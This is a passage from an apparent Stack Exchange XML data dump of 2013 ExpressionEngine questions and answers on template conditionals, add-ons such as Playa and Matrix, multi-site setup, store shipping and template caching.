/&amp;gt;&amp;lt;span id=&quot;modal_change&quot;&amp;gt;Why is there a price difference?&amp;lt;/span&amp;gt;&#xA;            {if:else}&#xA;                &amp;lt;span id=&quot;modal_same&quot;&amp;gt;Pricing Terms &amp;amp; Conditions&amp;lt;/span&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1008" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-05-09T15:53:38.537" Title="Conditional variable error" Tags="|conditionals|variable|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10193" PostTypeId="1" CreationDate="2013-05-08T18:59:04.540" Score="0" ViewCount="165" Body="&lt;p&gt;We are using EE 2.5.5 and Playa 4.4.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are setting the &quot;status&quot; field dynamically on our site.  We need to be able to use Playa like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {myfield:total_children status=&quot;{embed:status}&quot;}}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This currently renders as an &quot;invalid conditional&quot; in EE.  If we remove the brackets, it seems to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if myfield:total_children}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However there is no way to pass the &quot;status&quot; parameter in this way.  So we tried using Switchee:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee &#xA;    parse=&quot;inward&quot; &#xA;    variable=&quot;{myfield:total_children parse='inward' status='{embed:status}&quot;}&#xA;&#xA;    {case value=&quot;''&quot;}&#xA;        AAA&#xA;    {/case}&#xA;&#xA;    {case default=&quot;Yes&quot;}&#xA;        BBB&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output &quot;AAA&quot; every time, no matter what.  I'm running out of options.  Does anyone know how this functionality can be achieved?  We need to detect if there are ANY children that match the &quot;status&quot; criteria.  If not, then we need to show an alternate message.&lt;/p&gt;&#xA;" OwnerUserId="1454" LastEditorUserId="1454" LastEditDate="2013-05-08T19:05:27.737" LastActivityDate="2013-05-08T19:05:27.737" Title="Playa's {myfield:total_children} and conditionals (checking for &quot;no results&quot;)?" Tags="|playa|conditionals|switchee|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10194" PostTypeId="2" ParentId="9590" CreationDate="2013-05-08T20:03:44.150" Score="0" Body="&lt;p&gt;Apparently this was a bug in Assets which has been fixed as of Assets 2.1.2 (&lt;a href=&quot;http://docs.pixelandtonic.com/assets/changelog.html#assets-2-1-2&quot; rel=&quot;nofollow&quot;&gt;see changelog here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2013-05-08T20:03:44.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10195" PostTypeId="1" CreationDate="2013-05-08T20:56:58.413" Score="2" ViewCount="231" Body="&lt;p&gt;Looking to build a Wordpress inspired &quot;shortcode&quot; for my EE editors to insert stylized content since they can't design their way out of paper bag. I'd like to put these shortcodes into a dropdown on my WYGWAM editors. Basically just a drop-down list that would paste in a series of Global EE variables into the editor instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[DROP DOWN]&#xA;-----------&#xA;1 Column (value would paste in something like: {column1} Put your info here {/column1}&#xA;&#xA;2 Column&#xA;&#xA;3 Column&#xA;&#xA;4 Column&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I likely need to dive into the CKEditor config.js and link to a new plugin of some sort. Did some searching and found something someone is working on for CKEditor 4, but not sure what that is going to do with WYGWAM and I believe they are still using CK3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or insight would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Geoff&lt;/p&gt;&#xA;" OwnerUserId="1455" LastEditorUserId="150" LastEditDate="2014-02-01T03:30:48.300" LastActivityDate="2014-02-01T03:30:48.300" Title="Add &quot;shortcode&quot; drop down to WYGWAM" Tags="|pixelandtonic|wygwam|drop-down|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10196" PostTypeId="2" ParentId="10192" CreationDate="2013-05-08T21:30:16.673" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I don't know why it's even trying to evaluate deal_original_price in&#xA;  these cases, though, because the entire conditional call is inside&#xA;  another conditional that only runs if deal is Y.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because EE will parse the template first before acting upon any conditionals, so it will parse the inner conditional variables, even if they are never implemented due to the outer conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I'm surprised you're getting the error you are, I expect it's the way you're using complex conditionals without correctly referencing the variables, therefore EE is having trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try doing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{deal}&quot; == &quot;Y&quot; AND &quot;{coupon}&quot; == &quot;N&quot;}&#xA;    &amp;lt;tr data-deal_id=&quot;{deal_id}&quot;&amp;gt;&#xA;        &amp;lt;td class=&quot;productPrice&quot; style=&quot;vertical-align: top;&quot;&amp;gt;${deal_total}&amp;lt;br /&amp;gt;&#xA;             &amp;lt;!-- this next line is the one throwing the error --&amp;gt;&#xA;            {if &quot;{deal_original_price}&quot; &amp;amp;&amp;amp; &quot;{deal_original_price}&quot; != &quot;&quot; &amp;amp;&amp;amp; &quot;{deal_original_price}&quot; != &quot;{deal_total}&quot;}&#xA;                &amp;lt;span class=&quot;originalDealPrice&quot;&amp;gt;${deal_original_price}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;span id=&quot;modal_change&quot;&amp;gt;Why is there a price difference?&amp;lt;/span&amp;gt;&#xA;            {if:else}&#xA;                &amp;lt;span id=&quot;modal_same&quot;&amp;gt;Pricing Terms &amp;amp; Conditions&amp;lt;/span&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I've done is correctly frame your variables using &quot;{blah}&quot; inside the conditional. What can often happen is that a variable is null or empty, so it's important to frame in quotes, but then you need to identify as an EE variable, hence the curly brackets. Consider this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if  &amp;amp;&amp;amp;  != &quot;&quot; &amp;amp;&amp;amp;  != 1.50}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which could be how EE is seeing your conditional if &lt;code&gt;deal_original_price&lt;/code&gt; is empty and not correctly framed. Hence you get nasty PHP errors in Functions.php class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I'm aware &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; is not a valid conditional in EE - I haven't checked though! I've changed in the example above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if &quot;{deal_original_price}&quot; &amp;amp;&amp;amp; &quot;{deal_original_price}&quot; != &quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These do the same thing and so only one is needed.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-05-08T21:36:58.047" LastActivityDate="2013-05-08T21:36:58.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10197" PostTypeId="2" ParentId="10137" CreationDate="2013-05-08T21:34:46.773" Score="2" Body="&lt;p&gt;I would use Postmaster for this. You are going to have to write some code either way, so you might as well harness a proper API that was build exactly for this same thing. I would use the Notifications API. You could even follow similar logic to Derek, as I have done the same exact thing with CartThrob Abandoned Cart Notifications. So instead of CT Abandoned Shopping Carts, you would just use similar logic to create an &quot;Outdated Member Profiles&quot; Notification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best part about this, is you don't even have to write the code to send the email. Postmaster does all that for you. You just need to write the logic to figure out which users need a notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-05-08T21:34:46.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10198" PostTypeId="2" ParentId="10157" CreationDate="2013-05-08T22:50:17.020" Score="1" Body="&lt;p&gt;OK, thanks to a persistent support team at my host (Codero), they were able to track down the issue.  They said since I was running PHP through FastCGI, it was an Apache error that was causing the problem.  They made changes to the domainvirtualhost.php file and I am now able to upload 35MB + files. &lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-05-08T22:50:17.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10199" PostTypeId="2" ParentId="10195" CreationDate="2013-05-08T23:01:37.423" Score="1" Body="&lt;p&gt;Have you looked at &lt;a href=&quot;http://devot-ee.com/add-ons/shortcode&quot; rel=&quot;nofollow&quot;&gt;ShortCode&lt;/a&gt;? I haven't used it yet myself, but the developer is rock solid and provides excellent support for his other addons.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-05-08T23:01:37.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10200" PostTypeId="2" ParentId="10173" CreationDate="2013-05-09T01:45:55.970" Score="1" Body="&lt;p&gt;Make sure to check the particular Channels preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;admin &gt; channel administration &gt; channels &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the preferences for the channel in question and look for &quot;Channel Posting Preferences&quot; and in particular &quot;Default HTML formatting in channel entries&quot; - set this to: &quot;Allow ALL HTML&quot;.  I suspect it may be set to: &quot;Convert HTML into characters entities&quot;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-09T01:45:55.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10201" PostTypeId="1" CreationDate="2013-05-09T03:46:28.043" Score="1" ViewCount="62" Body="&lt;p&gt;Is there a way to filter supersearch results such that only entries edited after a certain date will be searched for? Our database is going to be massive and we don't want to load the db will excessive MySQL calls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results &#xA;channel=&quot;record&quot; &#xA;status=&quot;open|closed&quot; &#xA;edit_date-from=20130501040000}&#xA;     {entry_id}&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1456" LastActivityDate="2013-05-09T03:46:28.043" Title="SuperSearch - Filtering results with edit date" Tags="|supersearch|edit-date|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10202" PostTypeId="2" ParentId="10178" CreationDate="2013-05-09T03:52:05.697" Score="1" Body="&lt;p&gt;EE has it's in-built function to authenticate users.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE = &amp;amp; get_instance();&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('auth');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;loadfile('member');&#xA;&#xA;$session_user = $this-&amp;gt;EE-&amp;gt;auth-&amp;gt;authenticate_username($username,$password);&#xA;// start the usersession&#xA;$session_user-&amp;gt;start_session();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For subsequent calls, ensure that the session exists.&lt;/p&gt;&#xA;" OwnerUserId="1456" LastActivityDate="2013-05-09T03:52:05.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10203" PostTypeId="2" ParentId="10043" CreationDate="2013-05-09T07:38:23.743" Score="0" Body="&lt;p&gt;Just as a follow up for people dealing with the same issue.  Pixel &amp;amp; Tonic have confirmed this issue and it will be resolved in the next release 2.1.3 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This update will normally will be released in the week of the 13th of May&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rg,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-05-09T07:38:23.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10205" PostTypeId="1" AcceptedAnswerId="10232" CreationDate="2013-05-09T09:07:02.840" Score="1" ViewCount="183" Body="&lt;p&gt;I am wondering if it's possible to dynamically create a category using the Expression Engine API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain my issue a little, I'm reading a 3rd party SOAP API which returns me a list of categories which could change so I can't really pre-create my categories in EE. Within each of those categories are some articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to insert these articles into Expression Engine through the API which is fine but wanted to &quot;tag&quot; these articles based on their original categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that the only way I can think to keep track of the article's original category is to make sure a channel exists for each category I find in the API, then insert into that channel.&lt;/p&gt;&#xA;" OwnerUserId="1459" LastEditorUserId="389" LastEditDate="2015-11-18T17:22:05.180" LastActivityDate="2015-11-18T17:22:05.180" Title="ExpressionEngine API - Adding a category" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10206" PostTypeId="1" AcceptedAnswerId="10209" CreationDate="2013-05-09T09:27:23.353" Score="1" ViewCount="89" Body="&lt;p&gt;For the time being, I'd like to set my store to allow shipping only to UK addresses, but I'd like to accept payments from everywhere (so people can send gifts to those in the UK). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have only two shipping methods: Free shipping (which will later become a flat fee) and Collect In-Store. Both of these are set/apply to UK only, but my overall Countries/Regions has all countries enabled. This isn't achieving what I want, as every country is selectable on Checkout2 under Shipping Details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I exclude all other countries from shipping but not billing?&lt;/p&gt;&#xA;" OwnerUserId="437" LastEditorUserId="422" LastEditDate="2013-05-09T11:10:16.197" LastActivityDate="2013-05-09T11:34:54.867" Title="Expresso Store: Limit shipping to UK only, but accept payments from everywhere" Tags="|expresso-store|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10207" PostTypeId="1" CreationDate="2013-05-09T09:45:20.227" Score="0" ViewCount="622" Body="&lt;p&gt;I have a channel entries call which is pulling in 2 channels (channel_1 and channel_2), what i want to be able to do is always make the first / latest post show from channel_1, even if channel_2 has an entry which is more recent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entries are order by date and the rest need to keep that flow. I want to keep this all in one channel call as i am using ajax pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of how i could just change the order of the first entry from a specific channel would be great.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-05-10T10:17:38.593" Title="Change order of channel entries output with multiple channels" Tags="|channel-entries|channel|entries|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10208" PostTypeId="2" ParentId="10207" CreationDate="2013-05-09T10:15:31.427" Score="0" Body="&lt;p&gt;You could use the native &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish.html#make-entry-sticky&quot; rel=&quot;nofollow&quot;&gt;Make Entry Sticky&lt;/a&gt;&quot; option on the publish view in EE for the one entry you need to sit at the top.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-09T10:15:31.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10209" PostTypeId="2" ParentId="10206" CreationDate="2013-05-09T11:30:26.597" Score="0" Body="&lt;p&gt;Just hard code the shipping address in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- shipping address, city, etc here --&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;  Shipping Country: United Kingdom&amp;lt;br&amp;gt;&#xA;  &amp;lt;small&amp;gt;Sorry, we are only able to offer shipping to the UK at this time.&amp;lt;/small&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_country&quot; value=&quot;gb&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-09T11:30:26.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10210" PostTypeId="1" CreationDate="2013-05-09T11:32:26.263" Score="1" ViewCount="659" Body="&lt;p&gt;I recently installed a version of EE on my local machine(Mamp Pro), v2.5.5 - Build Date: 20121220. I set this site up as per usual and started building my initial site templates etc ready for the master site which would encompass all the other child sites with MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then installed MSM by buying the software license and then enabling it in the main general settings of the cp in my site. I then created a new sub domain with MAMP PRO and then added a folder in it with index.php and admin.php, I then changed these settings in each:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../build/system/';&#xA;$assign_to_config['site_name']  = 'mysitename'; &#xA;$assign_to_config['cp_url'] = 'http://missns:8888/admin.php'; &#xA;$assign_to_config['site_url'] = 'http://missns:8888';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;admin.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../build/system/';&#xA;$assign_to_config['site_name'] = 'mysitename';&#xA;$assign_to_config['cp_url']    = 'http://missns:8888/admin.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to access &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://missns:8888/admin.php or http://missns:8888&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Site Error: Unable to Load Site Preferences; No Preferences Found for: mysite&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my main cp site theme where my main site is installed I go to the top right of the site and click my master site name and click 'edit sites', I then just get a server error page that takes me out of my site, it basically blows up.&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2013-06-08T17:34:47.793" Title="Site Error: Unable to Load Site Preferences in MSM site" Tags="|multi-site-manager|php|php-errors|localhost|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10211" PostTypeId="2" ParentId="10206" CreationDate="2013-05-09T11:34:54.867" Score="0" Body="&lt;p&gt;If shipping and collection is only to the UK then just hide the country select box from the Shipping Address section and ensure that the Regions listed are those within the UK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either hide the field with a little CSS in &lt;code&gt;display: 'none'&lt;/code&gt; or simply hide the input field with by adding &lt;code&gt;input type=&quot;hidden&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst posting this I see that Adrian has mentioned that latter. :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store &gt; Settings &gt; Countries/Regions make sure all the UK regions are listed and correct. These are derived from EE itself and they were out of date prior to the latest release (2.6). I submitted a request a while back to have them updated and have been told they've made it into the latest release but haven't checked them yet.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-09T11:34:54.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10212" PostTypeId="2" ParentId="10207" CreationDate="2013-05-09T11:38:31.400" Score="0" Body="&lt;p&gt;This might be of use, you can pipe multiple orderby like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;channel|date&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;As per documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-09T11:38:31.400" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10213" PostTypeId="2" ParentId="9893" CreationDate="2013-05-09T11:46:07.253" Score="0" Body="&lt;p&gt;Try without the quotes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == {child_category_url_title} } class=&quot;selected&quot;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-09T11:46:07.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10214" PostTypeId="1" AcceptedAnswerId="10247" CreationDate="2013-05-09T11:56:52.083" Score="0" ViewCount="144" Body="&lt;p&gt;I am working on a site that has an employees channel with over 1000 entries. When a user visits the &quot;all employees&quot; page we are paginating the results and all is well, however when a user views the print template for this page the client would like the full list of employees to be shown. When this template is loaded the request times out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have optimised the template as best I can (simple conditionals, etc) and tried upping the PHP execution time, but still no luck. I think the biggest killer to rendering is that we need to access a matrix and a playa field for each employee. If anyone has any advice on ways to get this page to load that would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Updated with code sample&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    site=&quot;default_site&quot;&#xA;    channel=&quot;employees&quot;&#xA;    orderby=&quot;title&quot; sort=&quot;asc&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    limit=&quot;10000&quot;&#xA;    entry_id=&quot;{alpha_ids}&quot;&#xA;    cache=&quot;yes&quot; refresh=&quot;720&quot;&#xA;}&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{p_position}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{p_locations limit=&quot;1&quot;}{office site=&quot;default_site&quot;}{title}{/office}{/p_locations}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{if p_locations}{p_locations limit=&quot;1&quot;}{phone}{/p_locations}{/if}{if p_locations == &quot;&quot;}{p_phone}{/if}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{p_email_address}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this code snippet &lt;code&gt;{alpha_ids}&lt;/code&gt; is the result of filters (in the case causing the issue, this contains all entries). &lt;code&gt;{p_locations}&lt;/code&gt; is a matrix field. The columns in this matrix are &lt;code&gt;{office}&lt;/code&gt; (playa single-select) and &lt;code&gt;{phone}&lt;/code&gt; (text field).&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="422" LastEditDate="2013-05-09T20:21:06.470" LastActivityDate="2013-05-17T07:17:18.007" Title="Pre-Cache Template Base on URL" Tags="|channel-entries|templates|matrix|playa|optimization|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10215" PostTypeId="2" ParentId="10210" CreationDate="2013-05-09T12:12:01.587" Score="1" Body="&lt;p&gt;Have you set things up following the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/domainsetup.html&quot; rel=&quot;nofollow&quot;&gt;instructions in EE docs&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure that you have the relevant permissions on to allow access to your installations system folder:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The new folder must allow files within it to access your&#xA;  installation’s system folder. Check with your host to ensure you don’t&#xA;  have “open_basedir” or other restrictions in place which could prevent&#xA;  this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, maybe try providing the virtual host name if you're setting this up locally. So instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../build/system/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = 'domain1.com/system/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where domain1.com is the name of your local virtualhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure you make the changes to both sub domains as indicated in the docs.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-05-09T17:12:30.743" LastActivityDate="2013-05-09T17:12:30.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10216" PostTypeId="2" ParentId="10168" CreationDate="2013-05-09T12:26:26.047" Score="0" Body="&lt;p&gt;OK, Turns out you only need to apply the Wysihat JS on a text area to initialize it (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_javascript/rte/wysihat_api.html&quot; rel=&quot;nofollow&quot;&gt;Docs here for the EE/jQuery ported version&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was first check for the installed RTE in the exp_fieldtypes table, then injected the JS into the CP if it was present:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_foot('&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;$(function(){ $(&quot;textarea&quot;).wysihat({&quot;buttons&quot; : [&quot;bold&quot;,&quot;italic&quot;,&quot;underline&quot;]}); });&amp;lt;/script&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will probably do something cleaner later, but at least it works now :)&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-05-09T12:26:26.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10217" PostTypeId="2" ParentId="10207" CreationDate="2013-05-09T12:28:16.090" Score="0" Body="&lt;p&gt;You could try something like this within your Channel Entries tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- channel_1 entries get output first --}&#xA;{if channel_id == '1'}&#xA;&#xA;    {title}&#xA;    {!-- Other field values here from channel_1 --}&#xA;&#xA;{/if}&#xA;&#xA;{!-- Other channel entries output afterwards --}&#xA;{if channel_id != '1'}&#xA;&#xA;    {title}&#xA;    {!-- Other field values here from channel_1 --}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to sure to change the channel_id to whatever your channel ID's are.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-09T12:28:16.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10218" PostTypeId="1" AcceptedAnswerId="10220" CreationDate="2013-05-09T12:55:54.283" Score="1" ViewCount="203" Body="&lt;p&gt;I'm building a safecracker frontend form that allow members to update certain objects.  This form uses a matrix field for managing opening hours of shops&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The matrix field displays fine and existing data can be update without any problem.  However the '+' sign does not seem to work to add new rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It believe it is a javascript problem as the console show &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Object [object Object] has no method 'markItUp' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rg,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-05-09T12:58:55.577" Title="Add row not working for Matrix field in Safecracker form" Tags="|matrix|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10219" PostTypeId="2" ParentId="10214" CreationDate="2013-05-09T12:58:55.423" Score="1" Body="&lt;p&gt;That's a lot of entries to load for sure. I've done something like this once before with map data, but the solution may be the same for you.  Assuming that your template is as optimized as it's going to get, you may need to cache and retrieve the &quot;all&quot; list in chunks - that's what I had to do for my map data. I did it using &lt;a href=&quot;http://devot-ee.com/add-ons/template-morsels&quot; rel=&quot;nofollow&quot;&gt;Solspace Template Morsels&lt;/a&gt;. It allowed me to chunk up my list into manageable groups (distinct entries loops with start and end points), cache them (a bunch of options for how long to cache and under what conditions to break the cache), and then assemble them into the single template.  On top of that, you could cache the &quot;assembled&quot; template as well.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-09T12:58:55.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
